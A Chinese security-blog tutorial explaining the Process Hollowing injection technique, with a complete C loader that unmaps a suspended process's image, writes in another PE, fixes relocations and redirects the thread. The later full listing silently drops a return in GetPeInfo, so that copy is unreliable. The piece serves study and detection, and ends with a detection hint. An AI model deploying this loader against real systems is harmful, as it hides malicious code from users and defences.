Process Hollowing学习与研究

文章主要内容:傀儡进程的原理,代码解析。

0x0 前言与基础

各位师傅们好,本文记录了一个小菜鸡对Process Hollowing(傀儡进程)的学习和总结,文中如有错误,麻烦大佬们指出!本文比较基础,请各位大佬们勿喷。

基础知识

线程与CONTEXT结构

在程序运行时线程是来回切换的,比如A线程执行一段时间,然后切换到B线程执行,B线程执行一段时间后在切回A线程,但是如果这样做就会出现问题,因为A线程运行时寄存器的值已经被B线程修改了。

CONTEXT结构解决了这个问题,有了CONTEXT结构,我们在进行线程切换时,就可以将A线程的各种寄存器数据放到CONTEXT结构中保存起来,这样就避免了切换线程时寄存器被修改的问题。

Pe信息解析

ImageBase是程序运行时的基址,也就是程序被映射进程的4gb内存中的地址这个值不一定准确。如果ImageBase与映射到进程中的内存地址如果不一样,系统会对程序执行重定位操作。

AddressOfEntryPoint是程序的入口点,这个值只是一个偏移,加上ImageBase中的值才是真正的程序入口点。

SizeOfImage是程序拉伸后(转换成imagebuffer)的大小,也就是程序在进程中的大小。

重定位表解析

在程序中全局变量的地址是固定的,这个地址=基址(ImageBase)+偏移,如果imagebase与程序在进程中的地址一样的话就不需要做重定位,但如果不一样就需要重定位,因为如果基址不一样,在使用程序中的全局变量的时候就会出现错误。

举个例子,A程序的ImageBase是400000,程序中有一个全局变量,地址是401000,如果A程序在映射到进程的内存中占住了400000就不会出现问题,如果占不住,被分配到了500000,那么在访问401000这个地址就会出现问题,这就要用到重定位表对程序进行重定位操作。

重定位表结构体定义

  1. typedef struct _IMAGE_BASE_RELOCATION {
  2. DWORD VirtualAddress;//当前块的基址
  3. DWORD SizeOfBlock;//当前块的大小
  4. // WORD TypeOffset[1];
  5. } IMAGE_BASE_RELOCATION;
  6. typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;

重定位表在内存中的结构

image.png
SizeOfBlock成员后面的才是真正的偏移(就是图中的那一堆二进制)。

每一个偏移占两个字节(16位),在这16位二进制中如果前四位是3,那么代表这个偏移是有效的,否则这个数据就是为了内存对齐存在的。

我们可以通过(SizeOfBlock-8)/2得到偏移数据的数量,VirtualAddress+偏移=指向需要重定位的地方的指针。

重定位表结束的地方是一个全0的PIMAGE_BASE_RELOCATION结构。

右移指令>>

位运算是直接对二进制位进行操作的,右移就是将二进制位往右移动,移出去的二进制位被丢弃,左边补0。

举个栗子: 0101 >> 1 = 0010,0011 0101 0101 01110 >> 12 = 0000 0000 0000 0011。

在代码中会通过右移指令判断重定位表中的偏移数据是否有效。

与运算&

逻辑运算指令之一,0&0=0,0&1=0,1&1=1.
只有都是1时才是1,否则是0。
栗子: 0100 0100 & 1011 0101 = 0000 0100

0x1 Process Hollowing原理

通过创建挂起A进程,替换A程序在进程中的映射为B程序,实现A程序执行B程序的功能。

0x2 Process Hollowing实现过程

假设我们有两个程序:A和B,我们想要让A作为傀儡来B程序的功能,那么实现过程可以分为以下几步。

  1. 读取B程序到内存中
  2. 为A程序创建挂起进程
  3. 得到挂起进程的线程上下文
  4. 卸载掉A程序在内存中的映射
  5. 得到B程序的Pe信息如ImageBase等
  6. 根据B程序的ImageBase在A程序的内存中申请内存
  7. 将B程序拉伸转换成ImageBuffer(运行时状态)
  8. 将拉伸后的B程序写入到刚刚创建的A进程的内存中
  9. 修改线程上下文,并恢复挂起线程 0x3 实现代码解析

    Process Hollowing的思路和过程上面已经说过了,我们直接来看代码

    1. PVOID buffer=ReadFile2Memory(L"C:\\Users\\blue\\Desktop\\msgbox.txt");
    2. WCHAR path[MAX_PATH] = { 0 };
    3. GetModuleFileNameW(NULL,path,MAX_PATH);

首先定义了一个自己的函数ReadFile2Memory(函数实现代码会在下面贴出来),函数功能是读取文件到内存中,参数是要读取文件的路径,返回值是文件在内存中的地址,这里使用了一个指针来接收这个地址。

第三行调用了GetModuleFileNameW函数,这个函数在此处的作用是得到当前程序的路径。第一个参数如果是NULL就代表要得到当前程序的路径,第二个参数是指向缓冲区的指针,这个缓冲区用来接收返回的路径,第三个参数是缓冲区的大小。

  1. STARTUPINFOW st = { 0 };
  2. st.cb = sizeof(st);
  3. PROCESS_INFORMATION info = { 0 };
  4. CreateProcessW(path, NULL, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &st, &info);

第一行主要用来设置要创建进程的窗口属性,这里默认即可。

第三行定义了一个PROCESS_INFORMATION类型的结构体,这个结构体用来存储新创建的进程和主线程的信息。

结构体定义

  1. struct _PROCESS_INFORMATION {
  2. HANDLE hProcess;//新创建进程的句柄
  3. HANDLE hThread;//新创建进程的主线程句柄
  4. DWORD dwProcessId;//进程的id
  5. DWORD dwThreadId;//线程的id
  6. } PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;

然后调用了CreateProcessW函数,此函数用于创建进程,第一个参数:要创建进程的exe的路径,第二个参数:命令行的参数,可以为NULL,第三个参数和第四个参数都是安全描述符,填NULL即可,第五个参数:是否让创建的子进程继承自己的句柄,继承填TRUE,不继承FALSE,第六个参数:进程创建的标志,CREATE_SUSPENDED代表已挂起方式创建,第七个参数:指向新进程环境块的指针,为NULL即可,第八个参数:进程当前目录完整的路径,为NULL即可,第九个参数:指向STARTUPINFOW结构的指针,第十个参数:指向PROCESS_INFORMATION结构的指针。

上面代码大致作用:用CreateProcessW的函数为当前程序创建一个挂起的进程。

  1. CONTEXT context = { 0 };
  2. context.ContextFlags = CONTEXT_FULL;
  3. BOOL Code=GetThreadContext(info.hThread, &context);
  4. if (Code == NULL) {
  5. printf("GetThreadContext Error Code:%d\n", GetLastError());
  6. return;
  7. }

首先定义了一个CONTEXT结构,这个结构体的成员中存储的就是线程在挂起时各个寄存器的值,ContextFlags成员代表我们要使用这个结构中的哪些寄存器。

GetThreadContext函数用于获得挂起进程的CONTEXT结构的信息,第一个参数:要获取CONTEXT结构的线程的句柄,第二个参数:一个指向CONTEXT结构的指针,函数如果失败返回FALSE。

  1. pZwUnmapViewOfSection UnmapViewOfSection = (pZwUnmapViewOfSection)GetProcAddress(LoadLibraryW(L"ntdll"), "ZwUnmapViewOfSection");
  2. if (UnmapViewOfSection == NULL) {
  3. printf("GetProcAddress Error Code:%d\n", GetLastError());
  4. return;
  5. }

LoadLibraryW函数功能是加载dll并得到它的句柄,GetProcAddress函数功能是得到指定函数的地址,第一个参数:函数所在dll的句柄,第二个参数:函数的名字。

上面代码大致作用:加载ntdll,并得到ntdll中ZwUnmapViewOfSection函数的地址,并用一个函数指针来接受它。

  1. HMODULE hModule = GetModuleHandleW(NULL);
  2. PeInfo shell = { 0 };
  3. GetPeInfo((PBYTE)hModule,&shell.ImageBase,&shell.Oep,&shell.SizeOfImage,&shell.ReCode);
  4. UnmapViewOfSection(info.hProcess, (PVOID)shell.ImageBase);

GetModuleHandleW函数用于得到指定模块的句柄,第一个参数:模块的名字,如果第一个参数为NULL,那么此函数将的得到当前程序的句柄。

第二行定义了一个结构体,此结构体用来存储需要用到的pe信息。
结构体定义

  1. struct PeInfo{
  2. DWORD ImageBase;//存储程序的ImageBase,此成员代表程序的基址
  3. DWORD Oep;//存储Oep(AddressOfEntryPoint),此成员代表程序的入口点
  4. DWORD SizeOfImage;//存储SizeOfImage,此成员代表程序拉伸后的大小
  5. CHAR ReCode;//用于判断程序是否存在重定位表,存在就是1,不存在时0
  6. };

GetPeInfo是我们自己写的函数(代码在下面),功能是得到指定句柄的pe信息,第一个参数:要得到信息的模块的句柄,第二个参数:指向ImageBase的指针,第三个参数:指向Oep的指针,第四个参数:指向SizeOfImage的指针,第五个参数:指向ReCode的指针。

在得到所需的pe信息后,调用ZwUnmapViewOfSection函数卸载掉映射到挂起进程中的程序

  1. PeInfo src = { 0 };
  2. GetPeInfo((PBYTE)buffer, &src.ImageBase, &src.Oep, &src.SizeOfImage,&src.ReCode);//得到源程序的pe信息
  3. PVOID imagebuffer=VirtualAllocEx(info.hProcess, (PVOID)src.ImageBase, src.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//申请源程序所需的空间

第二行得到的是B进程的pe信息,在得到我们需要的pe信息后使用VirtualAllocEx函数在A进程的空间中申请内存,第一个参数:申请内存的进程句柄,第二个参数:要在哪里申请内存,一个指针,第三个参数:要申请多大的内存,第四个参数:申请内存的类型,这里是保留和提交,第五个参数:申请内存的属性,如果函数执行失败返回值为NULL.

  1. if (imagebuffer != NULL) {//不等与空代表内存申请成功
  2. PVOID Imagebuffer = F2i((PBYTE)buffer);
  3. WriteProcessMemory(info.hProcess, imagebuffer, Imagebuffer, src.SizeOfImage, NULL);
  4. WriteProcessMemory(info.hProcess, (LPVOID)(context.Ebx + 8), &imagebuffer, 4, NULL);
  5. context.Eax = src.Oep + (DWORD)imagebuffer;
  6. context.ContextFlags = CONTEXT_FULL;
  7. SetThreadContext(info.hThread, &context);
  8. ResumeThread(info.hThread);
  9. }

首先是一个if来判断申请内存是否成功,调用F2i函数将B程序拉伸,也就是从filebuffer状态转换成imagebuffer状态。

然后调用WriteProcessMemory此函数功能:往别的进程中的内存写入数据,第一个参数是:写入的进程句柄,第二个参数:要写到哪里,第三个参数:写入数据的来源,第四个参数:写入数据的大小,第五个参数:代表写入了多少字节,如果是NULL,则代表忽略此参数。

第一个WriteProcessMemory函数是将拉伸后的B程序写入到A进程中,第二个WriteProcessMemory是将B程序的基址(ImageBase)覆盖掉A程序的ImageBase。

然后将context结构中Eax寄存器的值改为程序真正的入口点,也就是src.Oep + (DWORD)imagebuffer;,然后调用SetThreadContext函数设置线程的CONTEXT结构,此函数第一个参数:要设置CONTEXT结构的线程的句柄,第二个参数:指向CONTEXT结构的指针。

最后使用ResumeThread函数恢复了线程的运行,下面我们来看下内存申请失败的代码。

如果内存申请失败就执行else的代码。

  1. else {//不相等代表在指定位置申请内存失败,需要系统指定位置申请
  2. if (src.ReCode == 0x1) {//重定位表存在
  3. printf("Relocation table Exist Start Relocation\n");
  4. PVOID n_buffer = VirtualAllocEx(info.hProcess, NULL, src.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  5. if (n_buffer == NULL) {
  6. printf("VirtualAllocEx Error Code:%d\n", GetLastError());
  7. return;
  8. }
  9. PatchRe((DWORD)n_buffer, (PBYTE)buffer);
  10. PVOID Imagebuffer = F2i((PBYTE)buffer);
  11. WriteProcessMemory(info.hProcess, n_buffer, Imagebuffer, src.SizeOfImage, NULL);
  12. WriteProcessMemory(info.hProcess, (LPVOID)(context.Ebx + 8), &n_buffer, 4, NULL);
  13. context.Eax = src.Oep + (DWORD)n_buffer;
  14. context.ContextFlags = CONTEXT_FULL;
  15. SetThreadContext(info.hThread, &context);
  16. ResumeThread(info.hThread);
  17. }
  18. }

首先通过if语句来判断ReCode的值来确认重定位表存不存在,如果存在就继续执行。

接着调用了VirtualAllocEx函数申请内存,但这次第二个参数填了NULL,代表由系统决定在哪里申请内存,其余的参数由于上面已经说过了就不再赘述了。

成功申请内存后调用了PatchRe函数,这个函数功能是修复重定位表,在下面会给出函数的实现和代码解析。

执行完PatchRe函数,又调用了F2i函数,将B程序由filebuffer状态转换程imagebuffer状态。

接着又调用WriteProcessMemory将imagebuffer状态下的B程序数据写入到之前创建的挂起进程中,然后调用了WriteProcessMemory函数覆盖A进程的ImageBase
最后这几行主要做了设置程序入口点,设置线程的CONTEXT结构,并恢复线程执行。

ReadFile2Memory函数实现

  1. PVOID ReadFile2Memory(LPCWSTR path) {
  2. DWORD ReadByte = 0;
  3. HANDLE hFile = CreateFileW(path, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  4. if (hFile == INVALID_HANDLE_VALUE) {
  5. printf("CreateFileW Error Code:%d\n",GetLastError());
  6. return 0;
  7. }
  8. DWORD Size = GetFileSize(hFile, NULL);
  9. PVOID buffer = VirtualAlloc(NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  10. if (buffer == NULL) {
  11. printf("VirtualAlloc Error Code:%d\n", GetLastError());
  12. return 0;
  13. }
  14. BOOL Code=ReadFile(hFile,buffer,Size,&ReadByte,NULL);
  15. if (Code == NULL) {
  16. printf("ReadFile Error Code:%d\n", GetLastError());
  17. return 0;
  18. }
  19. return buffer;
  20. }

大概就是通过CreateFileW函数得到文件的句柄,然后调用ReadFile函数读取文件到内存中,因为这个不是重点就不详细介绍了。

GetPeInfo函数实现

  1. DWORD GetPeInfo(PBYTE buffer,PDWORD Imagebase, PDWORD Oep,PDWORD SizeOfImage,PCHAR ReCode) {
  2. PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)buffer;
  3. PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)(buffer + Dos->e_lfanew);
  4. PIMAGE_OPTIONAL_HEADER32 Option = (PIMAGE_OPTIONAL_HEADER32)(buffer + Dos->e_lfanew + 24);
  5. PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION(Nt);
  6. PIMAGE_DATA_DIRECTORY Data = (PIMAGE_DATA_DIRECTORY)((PBYTE)Sec - 128);
  7. *Imagebase =Option->ImageBase;
  8. *Oep = Option->AddressOfEntryPoint;
  9. *SizeOfImage = Option->SizeOfImage;
  10. if (Data[5].VirtualAddress == NULL && Data[5].Size == NULL) {
  11. MessageBox(0, L"重定位表为空", 0, 0);
  12. *ReCode = 0x0;
  13. return 0;
  14. }
  15. *ReCode = 0x1;
  16. return 0;
  17. }

代码大概作用是得到传入句柄的pe信息,然后通过指针传出去。

PIMAGE_DATA_DIRECTORY是数据目录表结构体指针,数据目录表的第六项就是重定位表的数据,因为数据目录表是从0开始的所以这里就是5,通过重定位表的VirtualAddress和Size为不为空,来判断存不存在重定位表。

PatchRe函数实现

  1. DWORD PatchRe(DWORD newImageBase, PBYTE ptr) {
  2. PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)ptr;//定位Dos头
  3. PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)(ptr + Dos->e_lfanew);//定位Nt头
  4. PIMAGE_FILE_HEADER File = (PIMAGE_FILE_HEADER)(ptr + Dos->e_lfanew + 4);//定位File头
  5. PIMAGE_OPTIONAL_HEADER Option = (PIMAGE_OPTIONAL_HEADER)(ptr + Dos->e_lfanew + 24);//定位Option头
  6. PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION(Nt);//定位节表
  7. PIMAGE_DATA_DIRECTORY Data = (PIMAGE_DATA_DIRECTORY)((PBYTE)Sec - 128);//定位数据目录
  8. PIMAGE_BASE_RELOCATION Relocation = (PIMAGE_BASE_RELOCATION)(ptr + rtf((char*)ptr, Data[5].VirtualAddress));//定位重定位表
  9. DWORD nImageBase = newImageBase - Option->ImageBase;
  10. Option->ImageBase = newImageBase;
  11. for (; Relocation->VirtualAddress && Relocation->SizeOfBlock;)
  12. {
  13. DWORD RecCount = (Relocation->SizeOfBlock - 8) / 2;
  14. PWORD RecAdd = (PWORD)((PBYTE)Relocation + 8);
  15. for (DWORD j = 0; j < RecCount; j++)
  16. {
  17. if (RecAdd[j] >> 12 == 3)
  18. {
  19. DWORD RecAdd2 = RecAdd[j] &amp; 0x0fff;//0x0fff=0x0000 1111 1111 1111
  20. DWORD RecAdd3 = rtf((char*)ptr, RecAdd2 + Relocation->VirtualAddress);
  21. PDWORD RecAdd4 = (PDWORD)(RecAdd3 + ptr);
  22. *RecAdd4 = *RecAdd4 + nImageBase;
  23. }
  24. continue;
  25. }
  26. Relocation = (PIMAGE_BASE_RELOCATION)((char*)Relocation + Relocation->SizeOfBlock);
  27. }
  28. return 1;
  29. }

定位各种头的就不说了,直接看比较重要的代码

  1. DWORD nImageBase = newImageBase - Option->ImageBase;
  2. Option->ImageBase = newImageBase;

第一行通过新的imagebase-旧的imagebase得到它们之间的偏移,第二行修改程序的基址为新的imagebase

  1. for (; Relocation->VirtualAddress &amp;&amp; Relocation->SizeOfBlock;)
  2. {
  3. DWORD RecCount = (Relocation->SizeOfBlock - 8) / 2;
  4. PWORD RecAdd = (PWORD)((PBYTE)Relocation + 8);
  5. for (DWORD j = 0; j < RecCount; j++)
  6. {
  7. if (RecAdd[j] >> 12 == 3)
  8. {
  9. DWORD RecAdd2 = RecAdd[j] &amp; 0x0fff;//0x0fff=0x0000 1111 1111 1111
  10. DWORD RecAdd3 = rtf((char*)ptr, RecAdd2 + Relocation->VirtualAddress);
  11. PDWORD RecAdd4 = (PDWORD)(RecAdd3 + ptr);
  12. *RecAdd4 = *RecAdd4 + nImageBase;
  13. }
  14. continue;
  15. }
  16. Relocation = (PIMAGE_BASE_RELOCATION)((char*)Relocation + Relocation->SizeOfBlock);
  17. }

上面说过重定位表VirtualAddressSizeOfBlock如果为0就代表重定位表结束,因此这里使用for循环来判断重定位表结不结束,如果VirtualAddressSizeOfBlock不为0,将会一直循环。

然后通过(Relocation->SizeOfBlock - 8) / 2得到偏移数据的数量。

因为重定位表大小是8字节,所以通过(PWORD)((PBYTE)Relocation + 8)来定位偏移数据。

for (DWORD j = 0; j < RecCount; j++) {}
然后又嵌套了一个循环,这个循环用来遍历偏移数据。

if (RecAdd[j] >> 12 == 3)
上面说过偏移数据的前4位如果是3代表这个偏移是有效的,这里使用右移指令让偏移数据右移12位。得到前四位的值然后与3比较。

DWORD RecAdd2 = RecAdd[j] &amp; 0x0fff将偏移数据和0x0fff进行与运算,因为偏移数据前四位的值只是用来判断这个偏移是否有效的,不能让前四位也参与运算需要丢掉它。

  1. DWORD RecAdd3 = rtf((char*)ptr, RecAdd2 + Relocation->VirtualAddress);

将偏移数据与重定位表的基址相加得到需要修改地址的rva(imagebuffer下的偏移),然后通过rtf函数将rva转换成foa(filebuffer状态下的偏移),函数的返回值是rva对应的foa,得到foa后又把它赋值给了RecAdd3。

  1. PDWORD RecAdd4 = (PDWORD)(RecAdd3 + ptr);
  2. *RecAdd4 = *RecAdd4 + nImageBase;

第一行通过偏移+基址得到真正需要修改的地方的指针,第二行就是给需要修改的地方赋值,nImageBase是新ImageBase与旧ImageBase的差。

0x4 完整代码

main.cpp

  1. #include "Func.h"
  2. void main() {
  3. PVOID buffer=ReadFile2Memory(L"C:\\Users\\ak\\Desktop\\msgbox.txt");
  4. WCHAR path[MAX_PATH] = { 0 };
  5. GetModuleFileNameW(NULL,path,MAX_PATH);
  6. STARTUPINFOW st = { 0 };
  7. st.cb = sizeof(st);
  8. PROCESS_INFORMATION info = { 0 };
  9. CreateProcessW(path, NULL, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &amp;st, &amp;info);
  10. CONTEXT context = { 0 };
  11. context.ContextFlags = CONTEXT_FULL;
  12. BOOL Code=GetThreadContext(info.hThread, &amp;context);
  13. if (Code == NULL) {
  14. printf("GetThreadContext Error Code:%d\n", GetLastError());
  15. return;
  16. }
  17. pZwUnmapViewOfSection UnmapViewOfSection = (pZwUnmapViewOfSection)GetProcAddress(LoadLibraryW(L"ntdll"), "ZwUnmapViewOfSection");
  18. if (UnmapViewOfSection == NULL) {
  19. printf("GetProcAddress Error Code:%d\n", GetLastError());
  20. return;
  21. }
  22. HMODULE hModule = GetModuleHandleW(NULL);
  23. PeInfo shell = { 0 };
  24. GetPeInfo((PBYTE)hModule,&amp;shell.ImageBase,&amp;shell.Oep,&amp;shell.SizeOfImage,&amp;shell.ReCode);
  25. UnmapViewOfSection(info.hProcess, (PVOID)shell.ImageBase);
  26. PeInfo src = { 0 };
  27. GetPeInfo((PBYTE)buffer, &amp;src.ImageBase, &amp;src.Oep, &amp;src.SizeOfImage,&amp;src.ReCode);//得到源程序的pe信息
  28. PVOID imagebuffer=VirtualAllocEx(info.hProcess, (PVOID)src.ImageBase, src.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//申请源程序所需的空间
  29. if (imagebuffer != NULL) {//不等空代表内存申请成功
  30. printf("Not Relocation\n");
  31. PVOID Imagebuffer = F2i((PBYTE)buffer);
  32. WriteProcessMemory(info.hProcess, imagebuffer, Imagebuffer, src.SizeOfImage, NULL);
  33. WriteProcessMemory(info.hProcess, (LPVOID)(context.Ebx + 8), &amp;imagebuffer, 4, NULL);
  34. context.Eax = src.Oep + (DWORD)imagebuffer;
  35. context.ContextFlags = CONTEXT_FULL;
  36. SetThreadContext(info.hThread, &amp;context);
  37. ResumeThread(info.hThread);
  38. }
  39. else {//不相等代表在指定位置申请内存失败,需要系统指定位置申请
  40. if (src.ReCode == 0x1) {//重定位表存在
  41. printf("Relocation table Exist Start Relocation\n");
  42. PVOID n_buffer = VirtualAllocEx(info.hProcess, NULL, src.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  43. if (n_buffer == NULL) {
  44. printf("VirtualAllocEx Error Code:%d\n", GetLastError());
  45. return;
  46. }
  47. PatchRe((DWORD)n_buffer, (PBYTE)buffer);
  48. PVOID Imagebuffer = F2i((PBYTE)buffer);
  49. WriteProcessMemory(info.hProcess, n_buffer, Imagebuffer, src.SizeOfImage, NULL);
  50. WriteProcessMemory(info.hProcess, (LPVOID)(context.Ebx + 8), &amp;n_buffer, 4, NULL);
  51. context.Eax = src.Oep + (DWORD)n_buffer;
  52. context.ContextFlags = CONTEXT_FULL;
  53. SetThreadContext(info.hThread, &amp;context);
  54. ResumeThread(info.hThread);
  55. }
  56. }
  57. }

func.h

  1. #pragma once
  2. #include <stdio.h>
  3. #include <Windows.h>
  4. typedef NTSTATUS(NTAPI* pZwUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
  5. struct PeInfo{
  6. DWORD ImageBase;
  7. DWORD Oep;
  8. DWORD SizeOfImage;
  9. CHAR ReCode;
  10. };
  11. DWORD rtf(char* buffer, DWORD rva)
  12. {
  13. PIMAGE_DOS_HEADER doshd = (PIMAGE_DOS_HEADER)buffer;
  14. PIMAGE_NT_HEADERS nthd = (PIMAGE_NT_HEADERS)(buffer + doshd->e_lfanew);
  15. PIMAGE_FILE_HEADER filehd = (PIMAGE_FILE_HEADER)(buffer + doshd->e_lfanew + 4);
  16. PIMAGE_OPTIONAL_HEADER32 optionhd = (PIMAGE_OPTIONAL_HEADER32)(buffer + doshd->e_lfanew + 24);
  17. PIMAGE_SECTION_HEADER sectionhd = IMAGE_FIRST_SECTION(nthd);
  18. //IMAGE_FIRST_SECTION
  19. if (rva < optionhd->SizeOfHeaders)
  20. {
  21. return rva;
  22. }
  23. for (int i = 0; i < filehd->NumberOfSections; i++)
  24. {
  25. if (rva >= sectionhd[i].VirtualAddress &amp;&amp; rva <= sectionhd[i].VirtualAddress + sectionhd[i].SizeOfRawData)
  26. {
  27. return rva - sectionhd[i].VirtualAddress + sectionhd[i].PointerToRawData;
  28. }
  29. }
  30. return 0;
  31. }
  32. PVOID ReadFile2Memory(LPCWSTR path) {
  33. DWORD ReadByte = 0;
  34. HANDLE hFile = CreateFileW(path, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  35. if (hFile == INVALID_HANDLE_VALUE) {
  36. printf("CreateFileW Error Code:%d\n",GetLastError());
  37. return 0;
  38. }
  39. DWORD Size = GetFileSize(hFile, NULL);
  40. PVOID buffer = VirtualAlloc(NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  41. if (buffer == NULL) {
  42. printf("VirtualAlloc Error Code:%d\n", GetLastError());
  43. return 0;
  44. }
  45. BOOL Code=ReadFile(hFile,buffer,Size,&amp;ReadByte,NULL);
  46. if (Code == NULL) {
  47. printf("ReadFile Error Code:%d\n", GetLastError());
  48. return 0;
  49. }
  50. return buffer;
  51. }
  52. DWORD GetPeInfo(PBYTE buffer,PDWORD Imagebase, PDWORD Oep,PDWORD SizeOfImage,PCHAR ReCode) {
  53. PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)buffer;
  54. PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)(buffer + Dos->e_lfanew);
  55. PIMAGE_OPTIONAL_HEADER32 Option = (PIMAGE_OPTIONAL_HEADER32)(buffer + Dos->e_lfanew + 24);
  56. PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION(Nt);
  57. PIMAGE_DATA_DIRECTORY Data = (PIMAGE_DATA_DIRECTORY)((PBYTE)Sec - 128);
  58. *Imagebase =Option->ImageBase;
  59. *Oep = Option->AddressOfEntryPoint;
  60. *SizeOfImage = Option->SizeOfImage;
  61. if (Data[5].VirtualAddress == NULL &amp;&amp; Data[5].Size == NULL) {
  62. MessageBox(0, L"重定位表为空", 0, 0);
  63. *ReCode = 0x0;
  64. }
  65. *ReCode = 0x1;
  66. return 0;
  67. }
  68. PVOID F2i(PBYTE filebuffer) {
  69. PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)filebuffer;
  70. PIMAGE_NT_HEADERS nt = nt = (PIMAGE_NT_HEADERS)(filebuffer + dos->e_lfanew);
  71. PIMAGE_FILE_HEADER file_header = (PIMAGE_FILE_HEADER)(filebuffer + dos->e_lfanew + 4);
  72. PIMAGE_SECTION_HEADER section_header = IMAGE_FIRST_SECTION(nt);
  73. PIMAGE_OPTIONAL_HEADER32 option_header = (PIMAGE_OPTIONAL_HEADER32)(filebuffer + dos->e_lfanew + 24);
  74. PBYTE buffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, option_header->SizeOfImage);
  75. memcpy(buffer, dos, option_header->SizeOfHeaders);//复制头
  76. for (int i = 0; i < file_header->NumberOfSections; i++) {
  77. memcpy((LPVOID)((DWORD)buffer + section_header[i].VirtualAddress), (LPVOID)((DWORD)filebuffer + section_header[i].PointerToRawData), section_header[i].SizeOfRawData);
  78. };
  79. return buffer;
  80. }
  81. DWORD PatchRe(DWORD newImageBase, PBYTE ptr) {
  82. PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)ptr;
  83. PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)(ptr + Dos->e_lfanew);
  84. PIMAGE_FILE_HEADER File = (PIMAGE_FILE_HEADER)(ptr + Dos->e_lfanew + 4);
  85. PIMAGE_OPTIONAL_HEADER Option = (PIMAGE_OPTIONAL_HEADER)(ptr + Dos->e_lfanew + 24);
  86. PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION(Nt);
  87. PIMAGE_DATA_DIRECTORY Data = (PIMAGE_DATA_DIRECTORY)((PBYTE)Sec - 128);
  88. PIMAGE_BASE_RELOCATION Relocation = (PIMAGE_BASE_RELOCATION)(ptr + rtf((char*)ptr, Data[5].VirtualAddress));
  89. DWORD nImageBase = newImageBase - Option->ImageBase;
  90. Option->ImageBase = newImageBase;
  91. for (; Relocation->VirtualAddress &amp;&amp; Relocation->SizeOfBlock;)
  92. {
  93. DWORD RecCount = (Relocation->SizeOfBlock - 8) / 2;
  94. PWORD RecAdd = (PWORD)((PBYTE)Relocation + 8);
  95. for (DWORD j = 0; j < RecCount; j++)
  96. {
  97. if (RecAdd[j] >> 12 == 3)
  98. {
  99. DWORD RecAdd2 = RecAdd[j] &amp; 0x0fff;//0x0fff=0x0000 1111 1111 1111
  100. DWORD RecAdd3 = rtf((char*)ptr, RecAdd2 + Relocation->VirtualAddress);
  101. PDWORD RecAdd4 = (PDWORD)(RecAdd3 + ptr);
  102. *RecAdd4 = *RecAdd4 + nImageBase;
  103. }
  104. continue;
  105. }
  106. Relocation = (PIMAGE_BASE_RELOCATION)((char*)Relocation + Relocation->SizeOfBlock);
  107. }
  108. return 1;
  109. }

0x5 总结

Process Hollowing是进程注入技术的一种,主要是对映射到进程中的程序数据做了替换,相当于狸猫换太子,可以通过监控ZwUnmapViewOfSection函数的调用来检测Process Hollowing。

最后祝各位审核,师傅春节快乐。

  • 发表于 2023-01-30 09:00:01
  • 阅读 ( 7768 )
  • 分类:安全开发

0 条评论

ring3
ring3

7 篇文章

站长统计